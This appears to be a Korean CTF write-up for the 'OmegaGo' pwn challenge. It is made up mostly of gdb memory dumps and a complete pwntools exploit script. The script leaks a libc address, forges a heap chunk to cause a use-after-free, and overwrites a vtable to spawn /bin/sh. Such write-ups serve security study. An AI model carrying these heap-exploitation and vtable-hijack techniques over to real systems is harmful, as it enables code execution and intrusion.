- 0xdd5280 값을 기준으로 데이터를 전역 변수 gameInfo에 저장합니다.

Leak libc address

(gdb) x/12gx 0x609FC0
0x609fc0:	0x000000000105e200	0x0000000000000000
0x609fd0:	0x0000000000000000	0x0000000000000000
0x609fe0:	0xaaaa0000aaaaa800	0x50000100002aaaaa
0x609ff0:	0x5554000155555555	0x0000000000000055
0x60a000:	0x0000000000000000	0x0000000000000000
0x60a010:	0x0000000000000000	0x0000000000000000
(gdb) b *0x4016C9
Breakpoint 1 at 0x4016c9
(gdb) b *0x4017FC
Breakpoint 2 at 0x4017fc
(gdb) c
Continuing.

Breakpoint 2, 0x00000000004017fc in ?? ()
(gdb) c
Continuing.

//D19
Breakpoint 2, 0x00000000004017fc in ?? ()
(gdb) x/12gx 0x609FC0
0x609fc0:	0x000000000105e280	0x000000000105e2c0
0x609fd0:	0x000000000105e380	0x0000000000000000
0x609fe0:	0xaaaa0000aaaaa800	0x50000100002aaaaa
0x609ff0:	0x5554000155555555	0x0000000000000055
0x60a000:	0x0000000000000000	0x0000000000000000
0x60a010:	0x0000000000000000	0x0000000000000400
(gdb) c
Continuing.

//regret
Breakpoint 2, 0x00000000004016c5 in ?? ()
(gdb) x/2i $rip
=> 0x4016c5:	mov    0x40(%rax),%rdx
   0x4016c9:	mov    %rdx,0x208930(%rip)        # 0x60a000
(gdb) set disassembly-flavor intel 
(gdb) x/2i $rip
=> 0x4016c5:	mov    rdx,QWORD PTR [rax+0x40]
   0x4016c9:	mov    QWORD PTR [rip+0x208930],rdx        # 0x60a000
(gdb) i r rax
rax            0xdd5280	14504576
(gdb) x/18gx 0xdd5280
0xdd5280:	0x0000000000000000	0x0000000000000031
0xdd5290:	0x0000000000dd5340	0x0000000000dcd3d0
0xdd52a0:	0x0000000000000000	0x0000000000000000
0xdd52b0:	0x240b2f4828c52f0b	0x0000000000000091
0xdd52c0:	0x00007fcad9e447b8	0x00007fcad9e447b8
0xdd52d0:	0x0000000000000000	0x0000000000000000
0xdd52e0:	0xaaaa0000aaaaa800	0x50000100002aaaaa
0xdd52f0:	0x5554000155555555	0x0000000000000055
0xdd5300:	0x0000000000000000	0x0000000000000000
(gdb) x/gx 0xdd5280 + 0x40
0xdd52c0:	0x00007fcad9e447b8
(gdb) ni
0x00000000004016c9 in ?? ()
(gdb)  i r rip
rip            0x4016c9	0x4016c9
(gdb) p/x 0x208930 + 0x4016c9
$1 = 0x609ff9
(gdb) x/12gx 0x609FC0
0x609fc0:	0x0000000000000000	0x0000000000000031
0x609fd0:	0x0000000000dd5340	0x0000000000dcd3d0
0x609fe0:	0x0000000000000000	0x0000000000000000
0x609ff0:	0x240b2f4828c52f0b	0x0000000000000091
0x60a000:	0x0000000000000000	0x0000000000000000
0x60a010:	0x0000000000000000	0x0000000000000400
(gdb) ni
0x00000000004016d0 in ?? ()
(gdb) x/12gx 0x609FC0
0x609fc0:	0x0000000000000000	0x0000000000000031
0x609fd0:	0x0000000000dd5340	0x0000000000dcd3d0
0x609fe0:	0x0000000000000000	0x0000000000000000
0x609ff0:	0x240b2f4828c52f0b	0x0000000000000091
0x60a000:	0x00007fcad9e447b8	0x0000000000000000
0x60a010:	0x0000000000000000	0x0000000000000400
(gdb) p/x 0x208930 + 0x4016d0
$2 = 0x60a000

다음과 같은 코드를 이용하면 됩니다.

Leak libc address

from pwn import *

#context.log_level = 'debug'

col_list = ['A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S']

p = process('omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac')

def Play(location):
	p.recvuntil('\n\n')
	p.sendline(location)

def surrender():
    p.recvuntil('\n\n')
    p.sendline('surrender')
    p.recvuntil('Play history? (y/n)')
    p.sendline('n')
    p.recvuntil('Play again? (y/n)')
    p.sendline('y')

def Fill(colStart, colEnd, row):
    for colNum in range(col_list.index(colStart),col_list.index(colEnd)+1):
	locate = str(col_list[colNum])
	locate += str(row)
	Play(locate)

def readBoard():
    global board
    board = []
    p.recvline()
    for line in range(0,19):
	p.recv(3)
        board.append(p.recvuntil('\n')[0:19])

def decode(offset):
    bit_offset = offset * 8
    data = ''.join(board)
    result = 0
    for i in xrange(32):
        states = '.OX\0'
        val = states.index(data[bit_offset + i])
        result |= val << (i * 2)
	#print str(result) + ' |= ' + str(val) + ' << (' + str(i) + '* 2)'
    return result

def LeakLibcAddress():
    readBoard()
    return decode(32)

#Memory reconstruction   
surrender()
surrender()
 
#Fill out to board
Fill('B','S',11)
for count in reversed(range(1,9)):
    Fill('A','S',count)
Fill('A','A',11)
Fill('A','K',12)

#Leak LibcAddress
p.recvuntil('\n\n')
p.sendline('D19')
#sleep(20)
p.recvuntil('\n\n')
p.sendline('regret')

libcAddress = LeakLibcAddress()
libcBaseAddress = libcAddress - 0x3be7b8
 
log.info('Libc Address : ' + hex(libcAddress))
log.info('Libc Base Address : ' + hex(libcBaseAddress))

p.interactive()

Fake chunk

Computer Class에 저장되는 값(vtable addr)을 변경하기 위해서는 UAF 취약성을 이용해야 합니다.
- Player가 입력한 좌표값은 gameinfo 전역변수의 Board영역에 비트 값(01,10)으로 저장되고 있습니다.
- Game board 정보는 Heap영역에 저장되고 있습니다.
- 그리고 Overflow를 통해 할당해제 할 메모리 주소 값을 변경할 수 있습니다.
vtable 정보를 저장하기 위해 생성되는 Heap의 크기는 0x20byte 입니다.
- 즉, UAF취약성을 생성하기 위해서 0x20 byte의 fake chunk가 필요합니다.
다음과 같은 구조로 Fake chunk를 생성할 수 있습니다.

	0x0	0x8
0x00	0000000000000000	0000000000000000
0x10	0000000000000000	0000000000000020
0x20	0000000000000000	0000010000000000
0x30	0000000000000000	0000000000000020
0x40	0000000000000000	0000000000000000
0x50	0000000000000000	0000000000000000
0x60	0000000900000009	000000000000004F
0x70	40665799D0203E64	4066800000000000
0x80	0000000000000000	0000000000000031

다음과 같은 방법으로 gameInfo에 overwrite된 주소값을 0x00의 위치로 변경할 수 있습니다.
- "surrender" 명령어를 3번 실행합니다.
  - Overflow를 통해 gameInfo.board[0]영역에 저장되는 값이 0x*****410으로 끝나는 값이 되도록하기 위해서입니다.
- Fake chunk 좌표값(D14, R8)을 입력합니다.
- gameInfo.board[0]에 저장된 값 0x*****410을 x*****550 으로 변경합니다.
  - 이는 앞에서 설명한 "Fake chunk 구조" 에서 0x00 위치를 가리키도록 하는 것입니다.
  - 좌표값 'P1', '01'
- "surrender" 명령어를 실행합니다.
디버깅을 통해 확인해 보겠습니다.
- D14, R8을 입력해 gameInfo.board[3], gameInfo.board[7]영역에 Fake chunk(0x20)을 저장합니다.
- gameInfo.board[0]영역에 주소값이 overwrite될 때 까지 게임을 Play 합니다.
- gameInfo.board[0]영역에 0x0707410 저장됬으며, P1, O1을 입력해 0x0707410 을 0x0707550으로 변경합니다.
- 그리고 "surrender" 명령어를 실행 후, Computer class의 vtable를 저장할 heap영역으로 0x0707550 영역이 할당됩니다.
- Computer class 영역에 원하는 주소 영역을 저장하였습니다.
이로 인해 0x0707550을 공격자가 원하는 값으로 덮어쓸수 있게 되었습니다.
- History[] 배열에 저장되는 Play 정보를 저장하는 Heap 영역을 메모리 0x0707550 보다 낮은 주소에서 부터 Heap 공간을 할당합니다.

디버깅

(gdb) b *0x401761
Breakpoint 1 at 0x401761
(gdb) b *0x4017FC
Breakpoint 2 at 0x4017fc
(gdb) x/12gx 0x609FC0
0x609fc0:	0x0000000000000000	0x0000000000000000
0x609fd0:	0x0000000000000000	0x0000000000000000
0x609fe0:	0xaaaa000000000000	0x50000100002aaaaa
0x609ff0:	0x0000000155555555	0x0000000000000000
0x60a000:	0x0000000000000000	0x0000000000000000
0x60a010:	0x0000000000000000	0x0000000000000000
(gdb) c
Continuing.

Breakpoint 2, 0x00000000004017fc in ?? ()
(gdb) x/12gx 0x609FC0
0x609fc0:	0x0000000000000000	0x0000000000000000
0x609fd0:	0x0000000000000000	0x0000000000000020
0x609fe0:	0xaaaa000000000000	0x50000100002aaaaa
0x609ff0:	0x0000000155555555	0x0000000000000000
0x60a000:	0x0000000000000000	0x0000000000000000
0x60a010:	0x0000000000000000	0x0000000000000000
(gdb) c
Continuing.

Breakpoint 2, 0x00000000004017fc in ?? ()
(gdb) x/12gx 0x609FC0
0x609fc0:	0x0000000000000000	0x0000000000000000
0x609fd0:	0x0000000000000000	0x0000000000000020
0x609fe0:	0xaaaa000000000000	0x50000100002aaaaa
0x609ff0:	0x0000000155555555	0x0000000000000000
0x60a000:	0x0000000000001000	0x0000000000000000
0x60a010:	0x0000000000000000	0x0000000000000000
(gdb) c
Continuing.

Breakpoint 2, 0x00000000004017fc in ?? ()
(gdb) x/12gx 0x609FC0
0x609fc0:	0x0000000000000000	0x0000000000000000
0x609fd0:	0x0000000000000000	0x0000000000000020
0x609fe0:	0xaaaa000000000000	0x50000100002aaaaa
0x609ff0:	0x0000000155555555	0x0000000000000020
0x60a000:	0x0000000000001000	0x0000000000000000
0x60a010:	0x0000000000000000	0x0000000000000000
(gdb) c
Continuing.

... fill out ...

Breakpoint 2, 0x00000000004017fc in ?? ()
(gdb) x/12gx 0x609FC0
0x609fc0:	0x0000000000707410	0x0000000000000000
0x609fd0:	0x0000000000000000	0x0000000000000020
0x609fe0:	0xaaaa000000001000	0x555555aaaaaaaaaa
0x609ff0:	0x0000000155555555	0x0000000000000020
0x60a000:	0x0000000000001000	0x0000000000000000
0x60a010:	0x0000000000000000	0x0000000000000000
(gdb) c
Continuing.

Breakpoint 2, 0x00000000004017fc in ?? ()
(gdb) x/12gx 0x609FC0
0x609fc0:	0x0000000000707410	0x00000000007074a0
0x609fd0:	0x0000000000000000	0x0000000000000020
0x609fe0:	0xaaaa000000001000	0x555555aaaaaaaaaa
0x609ff0:	0x0000000155555555	0x0000000000000020
0x60a000:	0x0000000000001000	0x0000000000000000
0x60a010:	0x0000000000000000	0x0000000000000800

(gdb) x/18gx 0x0000000000707410
0x0707410:	0x0000000000000000	0x0000000000000000
0x0707420:	0x0000000000000000	0x0000000000000020
0x0707430:	0xaaaa000000001000	0x555555aaaaaaaaaa
0x0707440:	0x0000000155555555	0x0000000000000020
0x0707450:	0x0000000000001000	0x0000000000000000
0x0707460:	0x0000000000000000	0x0000000000000000
0x0707470:	0x0000000a00000009	0x500001000000004f
0x0707480:	0x40660945b078d924	0x40633e4e379b77bf
0x0707490:	0x0000000000000000	0x000000000000fb71
(gdb) c
Continuing.

Breakpoint 2, 0x00000000004017fc in ?? ()
(gdb) x/12gx 0x609FC0
0x609fc0:	0x0000000000707450	0x00000000007074a0
0x609fd0:	0x0000000000707530	0x0000000000000020
0x609fe0:	0xaaaa000000001000	0x555555aaaaaaaaaa
0x609ff0:	0x0000000155555555	0x0000000000000020
0x60a000:	0x0000000000001000	0x0000000000000000
0x60a010:	0x0000000000000000	0x0000000000000800



(gdb) x/18gx 0x0000000000707530
0x0707530:	0x00000000019a1450	0x00000000019a14a0
0x0707540:	0x0000000000000000	0x0000000000000020
0x0707550:	0xaaaa000000001000	0x555555aaaaaaaaaa
0x0707560:	0x0000000155555555	0x0000000000000020
0x0707570:	0x0000000000001000	0x0000000000000000
0x0707580:	0x0000000000000000	0x0000000000000800
0x0707590:	0x0000000300000000	0x500001000000004f
0x07075a0:	0x40658f8b73d188eb	0x406176e57d9dba8e
0x07075b0:	0x00007f5b133663a0	0x000000000000fa51
(gdb) c
Continuing.

Breakpoint 2, 0x00000000004017fc in ?? ()
(gdb) x/12gx 0x609FC0
0x609fc0:	0x0000000000707450	0x00000000007074a0
0x609fd0:	0x0000000000707530	0x00000000007075c0
0x609fe0:	0xaaaa000000001000	0x555555aaaaaaaaaa
0x609ff0:	0x0000000155555555	0x0000000000000020
0x60a000:	0x0000000000001000	0x0000000000000000
0x60a010:	0x0000000000000000	0x0000000000000a00
(gdb) c
Continuing.

Breakpoint 2, 0x00000000004017fc in ?? ()
(gdb) x/12gx 0x609FC0
0x609fc0:	0x0000000000707550	0x00000000007074a0
0x609fd0:	0x0000000000707530	0x00000000007075c0
0x609fe0:	0x0000000000707680	0x555555aaaaaaaaaa
0x609ff0:	0x0000000155555555	0x0000000000000020
0x60a000:	0x0000000000001000	0x0000000000000000
0x60a010:	0x0000000000000000	0x0000000000000a00
(gdb) c
Continuing.
Breakpoint 1, 0x0000000000401761 in ?? ()
(gdb) x/i $rip
=> 0x401761:	callq  0x400f70 <_Znwm@plt>
(gdb) ni
0x0000000000401766 in ?? ()
(gdb) i r rax
rax            0x707550	7370064
(gdb)

Overwrite the vtable

vtable을 Overwirte하는 방법은 다음과 같습니다.
- gameInfo.board[4]영역에 값으로 0x609440을 설정합니다.
  - 사용자 입력 값을 저장하는 전역변수 command(0x60943C)주소 값에 0x4을 더한 값입니다.
- gameInfo.board[1] 영역까지 Heap 주소로 채웁니다.
- 0x*****550 영역에 gameInfo.board[4]에 저장된 값이 저장됩니다.
  - 좌표값 뒤에 어떤 값이든 7개를 입력할 수 있습니다.
    - Ex)A19!@#$%^&
  - 0x609440 영역에 execve("/bin/sh") 코드의 주소를 저장하면 shell을 획득할 수 있습니다.
다음은 디버깅을 통해 확인한 내용입니다.
- gameInfo.board[1] 영역에 저장된 heap 주소는 0x16a5530 입니다.
- 0x16a5530을 기준으로 gameInfo.board[4]에 0x609440이 저장되어 있습니다.
  - 즉, vtable을 0x609440으로 덮어쓴 것입니다.
- 0x609440 영역에는 execve("/bin/sh") 코드의 주소가 저장되어 있습니다.

Overwirte the vtable

autolycos@ubuntu:~$ sudo gdb -q -p 6027
Attaching to process 6027
...
(gdb) b *0x04017FC
Breakpoint 1 at 0x4017fc
(gdb) x/12gx 0x609FC0
0x609fc0:	0x00000000016a54a0	0xaaaaaaaaaaaaaaaa
0x609fd0:	0x40000002aaaaaaaa	0x0000000555555555
0x609fe0:	0x0000000000609440	0x0000010000000000
0x609ff0:	0x1800000000000000	0xaaaa8000000008a4
0x60a000:	0x55550000000aaaaa	0x5555555555555555
0x60a010:	0x0000055555555555	0x0000000000000000
(gdb) c
Continuing.

Breakpoint 1, 0x00000000004017fc in ?? ()
(gdb) x/12gx 0x609FC0
0x609fc0:	0x00000000016a54a0	0x00000000016a5530
0x609fd0:	0x4000000aaaaaaaaa	0x0000000555555555
0x609fe0:	0x0000000000609440	0x0000010000000000
0x609ff0:	0x1800000000000000	0xaaaa8000000008a4
0x60a000:	0x55550000000aaaaa	0x5555555555555555
0x60a010:	0x0000055555555555	0x0000000000000000

(gdb) x/18gx 0x00000000016a5530
0x16a5530:	0x00000000016a54a0	0xaaaaaaaaaaaaaaaa
0x16a5540:	0x4000000aaaaaaaaa	0x0000000555555555
0x16a5550:	0x0000000000609440	0x0000010000000000
0x16a5560:	0x1800000000000000	0xaaaa8000000008a4
0x16a5570:	0x55550000000aaaaa	0x5555555555555555
0x16a5580:	0x0000055555555555	0x0000000000000000
0x16a5590:	0x0000000500000004	0x5000010000000058
0x16a55a0:	0x40667feb65a9a800	0x4063bc970b49e01e
0x16a55b0:	0x0000000000000120	0x0000000000000091

(gdb) x/gx 0x16a5550
0x16a5550:	0x0000000000609440
(gdb) x/gx 0x0000000000609440
0x609440:	0x00007f5d9c93a6bd
(gdb) c
Continuing.
process 6027 is executing new program: /bin/dash
Warning:
Cannot insert breakpoint 1.
Cannot access memory at address 0x4017fc

(gdb)

vtable -> 0x

(gdb) b *0x4017D0
Breakpoint 1 at 0x4017d0

(gdb) b *0x04017FC
Breakpoint 2 at 0x4017fc


(gdb) c
Continuing.
Breakpoint 1, 0x00000000004017d0 in ?? ()

(gdb) x/3i $rip
=> 0x4017d0:	mov    rax,QWORD PTR [rbp+rax*8-0x30]
   0x4017d5:	mov    rax,QWORD PTR [rax]
   0x4017d8:	mov    rax,QWORD PTR [rax]

(gdb) ni
0x00000000004017d5 in ?? ()
(gdb) i r rax

rax            0x1919550	26318160

(gdb) ni
0x00000000004017d8 in ?? ()
(gdb) i r rax
rax            0x609440	6329408

(gdb) ni
0x00000000004017db in ?? ()
(gdb) i r rax
rax            0x7fa236c046bd	140334680000189

(gdb) c
Continuing.

Breakpoint 2, 0x00000000004017fc in ?? ()
(gdb) x/i $rip
=> 0x4017fc:	call   rax
(gdb) i r rax
rax            0x7fa236c046bd	140334680000189
(gdb)

Exploit Code

Exploit.py

from pwn import *
 
#context.log_level = 'debug'
 
col_list = ['A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S']
 
p = process('omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac')
 
def Play(location):
    p.recvuntil('\n\n')
    p.sendline(location)
 
 
def readBoard():
    global board
    board = []
    p.recvline()
    for line in range(0,19):
    	p.recv(3)
        board.append(p.recvuntil('\n')[0:19])
 
def surrender():
    p.recvuntil('\n\n')
    p.sendline('surrender')
    p.recvuntil('Play history? (y/n)')
    p.sendline('n')
    p.recvuntil('Play again? (y/n)')
    p.sendline('y')
 
def Fill(colStart, colEnd, row):
    for colNum in range(col_list.index(colStart),col_list.index(colEnd)+1):
    	locate = str(col_list[colNum])
        locate += str(row)
        Play(locate)
 
def decode(offset):
    bit_offset = offset * 8
    data = ''.join(board)
    result = 0
    for i in xrange(32):
        states = '.OX\0'
        val = states.index(data[bit_offset + i])
        result |= val << (i * 2)
    return result
 
def LeakAddress():
    readBoard()
    return decode(0)
 
def LeakLibcAddress():
    readBoard()
    return decode(32)
  
#Memory reconstruction   
surrender()
surrender()
 
#Fill out to board
Fill('B','S',11)
for count in reversed(range(1,9)):
    Fill('A','S',count)
Fill('A','A',11)
Fill('A','K',12)
 
#Leak LibcAddress
p.recvuntil('\n\n')
p.sendline('D19')
p.recvuntil('\n\n')
p.sendline('regret')

libcAddress = LeakLibcAddress()
libcBaseAddress = libcAddress - 0x3be7b8
execve_bash = libcBaseAddress + 0xe66bd
 
log.info('Libc Address : ' + hex(libcAddress))
log.info('Libc Base Address : ' + hex(libcBaseAddress))
log.info('execve bash Address : ' + hex(execve_bash))

#Memory reconstruction
surrender()
surrender()
surrender()
 
#Fill out to board
Fill('B','S',11)
for count in reversed(range(1,9)):
    Fill('A','S',count)
Fill('A','A',11)
 
#Fake Chunk
Play('D14')
Play('R8')
 
#0xXXXX410 -> 0xxxxx550
Fill('A','I',10)
Play('P1')
Play('O1')

surrender()
 
Fill('B','S',6)
for line in range(15,20):
    Fill('A','S',line)
Play('A6')
 
#vtable Overflow
Play('B7')
Play('S8')
Play('R8')
Play('C12')
Play('F12')
Play('M8')
 
for line in range(16,19):
    Fill('A','S',line)
 
Fill('A','E',15)
sleep(20) 
Play('F15|'+p64(execve_bash))
 
p.interactive()

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Description

Related file

Source Code

Write Up

File information

Binary analysis

Struct

Main()

MainFunction(0x401738)

UserInput(HUMAN→Play(0x405020)→0x402C12)

regret()

SetMarkForBoard

Debuging

Overflow

Decode

공격방식 설정

공격에 필요한 정보 수집

Leak Libc address

Fake chunk

Overwrite the vtable

Exploit Code

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Pwn-OmegaGo(350) - Solved by 3 Teams

List

Infomation

Description

Related file

Source Code

Write Up

File information

Binary analysis

Struct

Main()

MainFunction(0x401738)

UserInput(HUMAN→Play(0x405020)→0x402C12)

regret()

SetMarkForBoard

Debuging

Overflow

Decode

공격방식 설정

공격에 필요한 정보 수집

Leak Libc address

Fake chunk

Overwrite the vtable

Exploit Code

Flag

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